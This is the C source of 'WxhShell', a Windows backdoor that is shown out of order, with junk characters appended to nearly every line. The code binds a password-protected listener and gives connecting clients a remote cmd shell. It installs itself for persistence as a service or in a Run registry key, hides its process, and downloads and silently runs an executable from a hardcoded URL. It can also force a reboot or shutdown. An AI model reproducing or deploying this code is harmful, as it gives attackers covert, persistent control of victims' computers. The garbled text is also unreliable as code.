    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L*SSv wSL  
    if(Boot(SHUTDOWN)) vUodp#s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m=("N  
    else { Sm*Jysy`  
    closesocket(wsh); x):k#cu[L  
    ExitThread(0); 76u/WC>B  
    } Bsih<`KF^  
    break; /eU1(oo&`5  
    } =0!\F~  
  // 获取shell X+'^ Sp  
  case 's': { TCEXa?,L  
    CmdShell(wsh); b}}1TnS)  
    closesocket(wsh); ^R8U-V8:  
    ExitThread(0); ~_# Y,)S!z  
    break; 5* o\z&*L  
  } T?p`Y| gl  
  // 退出 e!2%ku  
  case 'x': { $jUS[.S_|I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b0zxT9  
    CloseIt(wsh); U||w6:W5  
    break; 7am/X.  
    } 7B:ZdDj  
  // 离开 :+?W  
  case 'q': { yjM@/b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 08d_DCR  
    closesocket(wsh); "`$'tk[  
    WSACleanup(); 7/U<\(V!g  
    exit(1); s&QBFyKtJ  
    break; &Curvc1fm  
        } TJ%]{%F  
  } q|]0on~ ]  
  } foP>w4pB  
Ql6ai  
  // 提示信息 yBD2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =p&'_a^$  
} zb~MF_&gE  
  } Kt!IyIa;Ht  
#.<F5  
  return; X gx2  
} ~y-vKCp|  
y T1Qep  
// shell模块句柄 /i~^LITH  
int CmdShell(SOCKET sock) lu@>?,<  
{ SJ WP8+  
STARTUPINFO si; 'Kso@St`o  
ZeroMemory(&si,sizeof(si)); >kDdWgRQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5[j!\d}U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; eV {FcJha  
PROCESS_INFORMATION ProcessInfo; zcD_}t_K  
char cmdline[]="cmd"; tM PX vE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &8_#hne_  
  return 0; R{OE{8;  
} :hhE=A>X  
jcv1z v.  
// 自身启动模式 BtNW5'^  
int StartFromService(void) v<J;S9u=  
{ ^ Mvsq)  
typedef struct 1f pS"_}  
{ J PzQBc5e  
  DWORD ExitStatus; s eZ<52f2  
  DWORD PebBaseAddress; *_).UAP.  
  DWORD AffinityMask; ch,Zk )y:_  
  DWORD BasePriority; D`~{[cv)\  
  ULONG UniqueProcessId; iP? ASqo{  
  ULONG InheritedFromUniqueProcessId; 5q_OuZ/6  
}   PROCESS_BASIC_INFORMATION; Uh|__DUkh  
r)#"$Sm  
PROCNTQSIP NtQueryInformationProcess; g<T`F  
4{pemqS*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <% 3SI.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; FG5c:Ep  
HT,kx  
  HANDLE             hProcess; h3d\MYO)B  
  PROCESS_BASIC_INFORMATION pbi; g=YiR/O1QN  
#!d^3iB2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R$;&O. 5M  
  if(NULL == hInst ) return 0; YT(1 "{:  
9X {nJ"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UK <DcM~n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]-5jgz"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2eR+dT  
sQw`U{JG  
  if (!NtQueryInformationProcess) return 0; G>ptwB81KM  
e9_O/iN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4@mXtA  
  if(!hProcess) return 0; } @fu~V/  
M+R)P +  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j.'"CU  
\`p~b(  
  CloseHandle(hProcess); =Wy`X0h  
! 7*_Z=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `i)ePiE  
if(hProcess==NULL) return 0; ?5YmE(v7  
Oc/_ T>  
HMODULE hMod; }B '*8^S  
char procName[255]; zI:5I@ X  
unsigned long cbNeeded; d,rEEc Y  
*JC{G^|Y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C.B}Py+   
WKIiJ{@L  
  CloseHandle(hProcess); .SV3<)  
pn%|;  
if(strstr(procName,"services")) return 1; // 以服务启动 TX [%s@C  
^YJ^+:D(  
  return 0; // 注册表启动 ^RyTK|SQ  
} o`8+#+@f7  
/e?ux~f|  
// 主模块 HJ1\FO9\  
int StartWxhshell(LPSTR lpCmdLine) +$QL0|RL  
{ '/Cz{<,  
  SOCKET wsl; #Xw[i  
BOOL val=TRUE; +ZA\ M:^b  
  int port=0; 6BN(^y#-X  
  struct sockaddr_in door; kbT-Oz  2  
pdha" EV  
  if(wscfg.ws_autoins) Install(); OUk5c$M(  
IZv, Wo  
port=atoi(lpCmdLine); s>``- ]3  
= 4WZr  
if(port<=0) port=wscfg.ws_port; Nl<,rD+KSD  
zu*G4?]~h  
  WSADATA data; e, 0I~:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6N+)LF}P b  
F4<2.V)#-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G1^!ej  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E,"btBg  
  door.sin_family = AF_INET; MirBJL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8Gg/M%wq9U  
  door.sin_port = htons(port); ZUJOBjb` K  
c2mt<DtWW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ru')X{]25  
closesocket(wsl); )zt4'b\)v  
return 1; RrpF i'R  
} "sx&8H"  
9w<Bm"G  
  if(listen(wsl,2) == INVALID_SOCKET) { 1HWJxV"  
closesocket(wsl); j4SG A#;v  
return 1; Bt7v[Ot   
} 10 H!  
  Wxhshell(wsl); k Q(y^tW  
  WSACleanup(); )$4DH:WN  
]a|;G  
return 0; 7c]Ai  
U@5Z9/n{  
} UYrzsUjg&  
RZh)0S>J  
// 以NT服务方式启动 4bzn^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w ]-iM  
{ DF|lUO]:  
DWORD   status = 0; "EhO )lR  
  DWORD   specificError = 0xfffffff; 9x{prCr  
hsO.521g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d@f2Vxe7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Od]xIk+E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \` ^Tbn:  
  serviceStatus.dwWin32ExitCode     = 0; T|2%b*/  
  serviceStatus.dwServiceSpecificExitCode = 0; V@'S#K#  
  serviceStatus.dwCheckPoint       = 0; "[S 6w  
  serviceStatus.dwWaitHint       = 0; gbf=H8]  
. \0=1P:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *9(1:N;#  
  if (hServiceStatusHandle==0) return; R./6Q1  
SY)$2RC+}  
status = GetLastError(); [gp:nxyfQm  
  if (status!=NO_ERROR) Iw7r}G  
{  ly%B!P|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i O|,,;_  
    serviceStatus.dwCheckPoint       = 0; rg/vxTl  
    serviceStatus.dwWaitHint       = 0; azc:C  
    serviceStatus.dwWin32ExitCode     = status; Hbc&.W;g7[  
    serviceStatus.dwServiceSpecificExitCode = specificError; +##I4vP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bic { H  
    return; X hX'*{3k  
  } k K|+W,  
VDY1F_Fk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )_K@?rWS  
  serviceStatus.dwCheckPoint       = 0; !QS<;)N@  
  serviceStatus.dwWaitHint       = 0; '\\Cpc_g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J}\]<aC  
} 4F6o  
/-4B)mL  
// 处理NT服务事件,比如:启动、停止 %\&dFwb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t+J6P)=  
{ Wj=ex3K3u.  
switch(fdwControl) rXPx* /C  
{ VVl-cU  
case SERVICE_CONTROL_STOP: dKpa5f7  
  serviceStatus.dwWin32ExitCode = 0; 't.F.t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g^UWf<xp  
  serviceStatus.dwCheckPoint   = 0; S]=Vr%irX  
  serviceStatus.dwWaitHint     = 0; NYvj?>[y  
  { ]sAD5<;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bI(98V,t  
  } H5 hUY'O  
  return; Z@/5~p  
case SERVICE_CONTROL_PAUSE:  yE,o~O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r/L]uSN  
  break; &:K?-ac  
case SERVICE_CONTROL_CONTINUE: V <pjR@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; pPp nO  
  break; Lta\AN!c  
case SERVICE_CONTROL_INTERROGATE: -V/i%_+Ze  
  break; S\!E;p  
}; z1s"C[W2T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~' =4K/39  
} jloyJ@ck  
M[_I16s  
// 标准应用程序主函数 BmX Gk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n$l]+[>  
{ %([H*sLX  
ZS_f',kE  
// 获取操作系统版本 Z"+!ayA7D  
OsIsNt=GetOsVer(); oF xVK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k"{U}Y/}  
CHI(\DXNs  
  // 从命令行安装 <5~>.DuE  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4HE4e  
 +'.Q-  
  // 下载执行文件 !;Nh7vG  
if(wscfg.ws_downexe) { 7*"LW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qG]PUc>j  
  WinExec(wscfg.ws_filenam,SW_HIDE); e|yuPd  
} I0RWdOK8K  
[Cp{i<C  
if(!OsIsNt) { y8z%s/gRh  
// 如果时win9x,隐藏进程并且设置为注册表启动 &}1)]6q$  
HideProc(); ,$-PC=Ti(  
StartWxhshell(lpCmdLine); ht9b=1wd%s  
} H]X)@n>  
else EPy/6-5b  
  if(StartFromService()) hGV/P94  
  // 以服务方式启动 ?9TogW>W  
  StartServiceCtrlDispatcher(DispatchTable); `oBzt |f5  
else <=M}[  
  // 普通方式启动 K^ \9R  
  StartWxhshell(lpCmdLine); '7s!N F2  
54w-yY  
return 0; a"0~_=  
} 55p=veq \  
90}B*3x  
F9W5x=EK\  
a~>h'}C>  
=========================================== : 6V 8  
Q>$L;1E*,  
W$S.?[X  
3(5Y-.aK}^  
uL F55:`<  
oVW?d]R  
" mM.&c5U  
9G~P)Z!0  
#include <stdio.h> qE{S'XyM,  
#include <string.h> ]XU#i#;c  
#include <windows.h> (xL=X%6a  
#include <winsock2.h> i;Y^}2   
#include <winsvc.h> n TG|Isa  
#include <urlmon.h> =C|^C  
J~.kb k  
#pragma comment (lib, "Ws2_32.lib") B!@0(A  
#pragma comment (lib, "urlmon.lib") pdSyx>rJ  
*gVv74;;  
#define MAX_USER   100 // 最大客户端连接数 ez{&Y>n  
#define BUF_SOCK   200 // sock buffer 6bba}P  
#define KEY_BUFF   255 // 输入 buffer LKcrr;  
@HI5; z  
#define REBOOT     0   // 重启 }R$%MU5::  
#define SHUTDOWN   1   // 关机 v<1;1m  
NO ^(D+9  
#define DEF_PORT   5000 // 监听端口 QUf_fe!,|  
gp=0;#4 4  
#define REG_LEN     16   // 注册表键长度 'Iu(lpF&  
#define SVC_LEN     80   // NT服务名长度 *OiHrI9y  
0 i"OG( ,  
// 从dll定义API Xl;N= fc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?*,q#ZkA9W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^MUM04l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :%{7Q$Xv<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Kl?1)u3^4  
ikQ2x]Sp  
// wxhshell配置信息 rNc>1}DDS  
struct WSCFG { 2lRZ/xaF%P  
  int ws_port;         // 监听端口 {y'k wU  
  char ws_passstr[REG_LEN]; // 口令 9[M u   
  int ws_autoins;       // 安装标记, 1=yes 0=no jLTs1`I/F  
  char ws_regname[REG_LEN]; // 注册表键名 D$HxPfDZ  
  char ws_svcname[REG_LEN]; // 服务名 zeX?]@]Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 YSbN=Rj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yFG&Ir  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ? t-2oLE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bX,Z<BvbF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" EX_& wep@1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Rs wR DLl  
<vs.Ucxx  
}; =#fqFL,  
kel48B  
// default Wxhshell configuration U*cj'`eqC  
struct WSCFG wscfg={DEF_PORT, _wBPn6gg`  
    "xuhuanlingzhe", ,P^"X5$   
    1, 6k2~j j1d  
    "Wxhshell", Y2Bu,/9^  
    "Wxhshell", A@UnrbX:  
            "WxhShell Service", bPNsy@"6  
    "Wrsky Windows CmdShell Service", a'BBp6  
    "Please Input Your Password: ", O);V{1P  
  1, i&Ea@b  
  "http://www.wrsky.com/wxhshell.exe", eo!z>9#.  
  "Wxhshell.exe"  BeQJ/`  
    }; eW/Hn  
3?:}lY<,  
// 消息定义模块 Eq t61O$x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "TPMSx&Ei  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -t]0DsPg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i|*:gH  
char *msg_ws_ext="\n\rExit."; OR3TRa XD  
char *msg_ws_end="\n\rQuit."; A.n1|Q#  
char *msg_ws_boot="\n\rReboot..."; RW 5T}  
char *msg_ws_poff="\n\rShutdown..."; a^BD55d?  
char *msg_ws_down="\n\rSave to "; Liofv4![  
945psG@|  
char *msg_ws_err="\n\rErr!"; TO<g@u]*  
char *msg_ws_ok="\n\rOK!"; VuGSP]$q  
sMZ \6  
char ExeFile[MAX_PATH]; &PbH!]yd  
int nUser = 0; < javZJ  
HANDLE handles[MAX_USER]; Y3?kj@T`i  
int OsIsNt; uJQeZEe  
Nbr{)h  
SERVICE_STATUS       serviceStatus; @:}z\qBM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; nN[,$`JD,  
[yz;OoA:;  
// 函数声明 m9/a!|fBE  
int Install(void); a.P^+h  
int Uninstall(void); H_9~gi  
int DownloadFile(char *sURL, SOCKET wsh); tZJKB1#WbP  
int Boot(int flag); sB $!X@  
void HideProc(void); .$Y[>9  
int GetOsVer(void); ^-DK<jZ^  
int Wxhshell(SOCKET wsl); 46b.= }  
void TalkWithClient(void *cs); \>+gZc]an  
int CmdShell(SOCKET sock); K|iNEhuc  
int StartFromService(void); rS=6d6@  
int StartWxhshell(LPSTR lpCmdLine); B$)KZR(u  
`+U-oqs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3'8~H]<W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |nD`0Rbw  
S5j#&i  
// 数据结构和表定义 + EM '-  
SERVICE_TABLE_ENTRY DispatchTable[] = Xr@0RFdr[  
{ jk~< si  
{wscfg.ws_svcname, NTServiceMain}, Q9( eH2=  
{NULL, NULL} m#uutomi0  
}; 9rhz#w  
bp }~{]:b  
// 自我安装 17-K~ybc  
int Install(void) @ ~PL|Pp_  
{ xMe[/7)4  
  char svExeFile[MAX_PATH]; &4DWLI  
  HKEY key; <3i!{"}  
  strcpy(svExeFile,ExeFile); gX[6WB"p  
y<)x`&pcD  
// 如果是win9x系统,修改注册表设为自启动 f+rBIE  
if(!OsIsNt) { wEdXaOEB5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /gxwp:&lY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Zvc{o8^z  
  RegCloseKey(key); \hg12],#:@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x k#/J]j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kc}e},k  
  RegCloseKey(key); T7[ItLZ  
  return 0; 4]Krx m`8  
    } C@xh$(y  
  } 86[T BX5'  
} TtHqdKL  
else { &",pPu q  
OfPWqNpO  
// 如果是NT以上系统,安装为系统服务 %N2=:;f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); By" =]|Q  
if (schSCManager!=0) }_K7}] 1  
{ Kpg]b"9.R  
  SC_HANDLE schService = CreateService |@Bl?Bs+  
  ( 'En6h"{  
  schSCManager, t'^/}=c-  
  wscfg.ws_svcname,  1D6iJ  
  wscfg.ws_svcdisp, u\50,N9Wp{  
  SERVICE_ALL_ACCESS, YI|7a#*F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9\V^q9l  
  SERVICE_AUTO_START, 1%H]2@  
  SERVICE_ERROR_NORMAL, 8!1vsEqv  
  svExeFile, 4jvgyi 9  
  NULL, M5wj79'l"  
  NULL, `C,479~J  
  NULL, #5F\zeo@F?  
  NULL, TwY]c<t  
  NULL 4~D?F'o  
  ); d&F8nBIM5  
  if (schService!=0) ~i(X{ ^,3  
  { OXI.>9  
  CloseServiceHandle(schService); oGa8}Vtc  
  CloseServiceHandle(schSCManager); 8@Pv nOL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "+p_{J/P  
  strcat(svExeFile,wscfg.ws_svcname); b3W@{je  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0m!+gZ@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N\rbnr  
  RegCloseKey(key); _8S!w>$)  
  return 0; P/4]x@{ih  
    } [*@"[u   
  } 0X.pI1jCO  
  CloseServiceHandle(schSCManager); Yz4Q!tL  
} >IsRd  
} |.X?IJ`  
1Jt5|'tl  
return 1; _dj_+<Y?  
} }!x\qpA  
YuFJJAJ  
// 自我卸载 Z%k)'%_   
int Uninstall(void) Bi9 S1 p  
{ ,..&j+m  
  HKEY key; a?_N8|k[  
6|L<? X  
if(!OsIsNt) { >2TDYB|;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^ 14U]<  
  RegDeleteValue(key,wscfg.ws_regname); o/ ozX4C  
  RegCloseKey(key); m\RU |Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s7[du_)  
  RegDeleteValue(key,wscfg.ws_regname); GG-7YJ  
  RegCloseKey(key); Ru `&>E  
  return 0; JdF;*`_7*  
  } ycTX\.KV  
} > X<pzD3u  
} rLtB^?A z  
else { ,E<(K8  
S{&,I2aO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `{#0C-  
if (schSCManager!=0) zuwlVn  
{ F|Pf-.r`t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )%I2#Q"Nt-  
  if (schService!=0) [LbUlNq^B@  
  { |wZcVct~  
  if(DeleteService(schService)!=0) { Kf/1;:^  
  CloseServiceHandle(schService); fYBmW')  
  CloseServiceHandle(schSCManager); 07`hQn)Gc  
  return 0; &Ba` 3V\M  
  } f%<kcM2  
  CloseServiceHandle(schService); Cz` !j  
  } p3`ND;KQ  
  CloseServiceHandle(schSCManager); 2r4owB?  
} kr[p4X4  
} TCWy^8LA  
F jsnFX;  
return 1; tJ;<=.n  
} WBvh<wTw;  
yPs4S?<s  
// 从指定url下载文件 z|E/pm$^  
int DownloadFile(char *sURL, SOCKET wsh) p~Di\AQ/  
{ j51Wod<[  
  HRESULT hr; >+ZBQ]~  
char seps[]= "/"; FxeDjAP  
char *token; hH_&42E6  
char *file; >$Sc}a3  
char myURL[MAX_PATH]; :sDE 'o  
char myFILE[MAX_PATH]; 9$U@h7|Q`  
TrD2:N}dI  
strcpy(myURL,sURL); Er509zZ,[  
  token=strtok(myURL,seps); D+.< kY.  
  while(token!=NULL) /P { Zo  
  { CobMagPhr  
    file=token; Xf o3fW)s  
  token=strtok(NULL,seps); uyZ  
  } P@lDhzd  
u_ou,RF  
GetCurrentDirectory(MAX_PATH,myFILE); )IQ5Qu  
strcat(myFILE, "\\"); bS7rG$n [  
strcat(myFILE, file); S5'ZKk  
  send(wsh,myFILE,strlen(myFILE),0); ^C$Oht,cU  
send(wsh,"...",3,0); nK[T.?Nz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J'{69<`Dl  
  if(hr==S_OK) |[qq $  
return 0; Z1Y/2MVSb  
else !'scOWWn  
return 1; ?'SHt9b3|  
NX.%Rj*  
} D_kz'0^|  
ML eo3  
// 系统电源模块 g2)jd[GM  
int Boot(int flag) vz$-KT4e^  
{ YvA@I|..~  
  HANDLE hToken; ]:H((rk  
  TOKEN_PRIVILEGES tkp; P5;n(E(19  
Q5%$P\  
  if(OsIsNt) { : :?,ZA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I!LSD i3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S=NP}4w,_)  
    tkp.PrivilegeCount = 1; /L|$* Xj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _%M+!Ltz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6WI-ZEVp&  
if(flag==REBOOT) { P}kBqMM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5@c/,6l  
  return 0; n@1;5)&k~  
} q-? k=RX`  
else { PH!^ww6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CcDmZ  
  return 0; kD"BsL*6!  
} +ftOJFkI  
  } Hg[g{A_G[  
  else { 1=o|[7  
if(flag==REBOOT) { `wGP31Y.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ''. P=  
  return 0; Q#gzk%jL@  
} '2LK(uaU  
else { 0 $Ygt0d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "p Rr>Fa  
  return 0; 8nV#\J9  
}  x&^>|'H  
} *,x-}%X  
d;:H#F+ (  
return 1; MawWgd*  
} XHN*'@ 77;  
$!Qv f  
// win9x进程隐藏模块 [B0]%!hFw  
void HideProc(void) mE>v (JY  
{ >{ /As][  
6I8A[   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,q_'l?Pn  
  if ( hKernel != NULL ) p-CBsm5P  
  { 1UHlA8w7 Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A5WchS'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -9D2aY_>  
    FreeLibrary(hKernel); H]I^?+)9  
  } n7EG%q6m+  
HLL:nczj  
return; !\'NBq,  
} KCDbE6  
LA +BH_t&  
// 获取操作系统版本 7A,QA5G ]C  
int GetOsVer(void) n8K FP  
{ S`w_q=-^8  
  OSVERSIONINFO winfo; 9sQ #v-+Yx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E: 7R>.g  
  GetVersionEx(&winfo); mQ$a^28=qR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l^~E+F~  
  return 1; Jm#mC  
  else }Cs. Hm0P  
  return 0; r}>q*yx:  
} ~ k(4eRq  
3AQu\4+A  
// 客户端句柄模块 a ](Jc)  
int Wxhshell(SOCKET wsl) t%k1=Ow5i  
{ .,vF% pQ  
  SOCKET wsh; M94zlW<  
  struct sockaddr_in client; 3QZ~t#,7ij  
  DWORD myID; Q$`u=-h|  
\gU=B|W  
  while(nUser<MAX_USER) bjq+x:>  
{ s:p6oEQ=J  
  int nSize=sizeof(client); @nNhW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M9PzA'}4W6  
  if(wsh==INVALID_SOCKET) return 1; Id(wY$C&>  
HNMVs]/e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S7(Vc H  
if(handles[nUser]==0) {J[5 {]Je[  
  closesocket(wsh); bdxmJ9a:R  
else L/+KY_b:*  
  nUser++; e5z U`R  
  } B* hW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q@@C|oqEX  
P}2waJe  
  return 0; *LA2@9l  
} gK%^}xU+  
!et[Rdbu  
// 关闭 socket Fcp8RBq  
void CloseIt(SOCKET wsh) <H]1 6  
{ +G.F'  
closesocket(wsh); rn8#nQ>QZ%  
nUser--; $qp,7RW  
ExitThread(0); _v\L'`bif  
} (\qO~)[0  
HLruZyN4  
// 客户端请求句柄 9)~Ha iVB  
void TalkWithClient(void *cs) sM  _m  
{ CS\ E]f  
=Z~nzyaN  
  SOCKET wsh=(SOCKET)cs; =7l'3z8  
  char pwd[SVC_LEN]; {E3329t|'  
  char cmd[KEY_BUFF]; lYq/ n&@_1  
char chr[1]; lk[BS*  
int i,j; iC`mj  
J;R1OJs S  
  while (nUser < MAX_USER) { '*d);{D8  
CHGV1X,  
if(wscfg.ws_passstr) { xlHC?d0}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YT@D*\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DtRu&>o_6D  
  //ZeroMemory(pwd,KEY_BUFF); s0/[mAY  
      i=0; Wf>P[6  
  while(i<SVC_LEN) { O\z]1`i*o  
"4Bk  
  // 设置超时 \~4IOu  
  fd_set FdRead; o)U4RY*  
  struct timeval TimeOut; H%&e[PU  
  FD_ZERO(&FdRead); 24; BY'   
  FD_SET(wsh,&FdRead); /l.ox.4z#  
  TimeOut.tv_sec=8; x[m&ILr  
  TimeOut.tv_usec=0; I}!Er V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {wS)M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {zmh0c; |  
pI]tv@>:f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w1q`  
  pwd=chr[0]; e^ ZxU/e  
  if(chr[0]==0xd || chr[0]==0xa) { %]iE(!>3oy  
  pwd=0; ,JVWn>s  
  break; AzlZe\V?)~  
  } g UAx8=h  
  i++; %.nZ@';.  
    } P)9$}9i  
gOSFvH8FU  
  // 如果是非法用户,关闭 socket 2*5]6B-(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *? <ygzX  
} (7k}ysc  
jSKhWxL;'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d:"#_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1{0 L~  
+C8yzMN\  
while(1) { ~IhLjE  
9cMQ51k)E  
  ZeroMemory(cmd,KEY_BUFF); 4IUdlb  
Zk .V   
      // 自动支持客户端 telnet标准   +Dwq>3AH  
  j=0; +yO^,{8SE  
  while(j<KEY_BUFF) { dF#`_!4pbf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R/BW$4/E  
  cmd[j]=chr[0]; :@=;WB*0  
  if(chr[0]==0xa || chr[0]==0xd) { ijuIf9!  
  cmd[j]=0; >dU.ic?19  
  break; z<h?WsL  
  } O S%  
  j++; {!]7=K)W9  
    } R8(Bt73  
+"8-)'  
  // 下载文件 Dmq_jt  
  if(strstr(cmd,"http://")) { "$6 .L^9W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A-GU:B  
  if(DownloadFile(cmd,wsh)) EH2a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~;ZT<eCIA  
  else QswbIP/>:'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  gK Uci  
  } qy$1+>f1  
  else { 7LZ A!3  
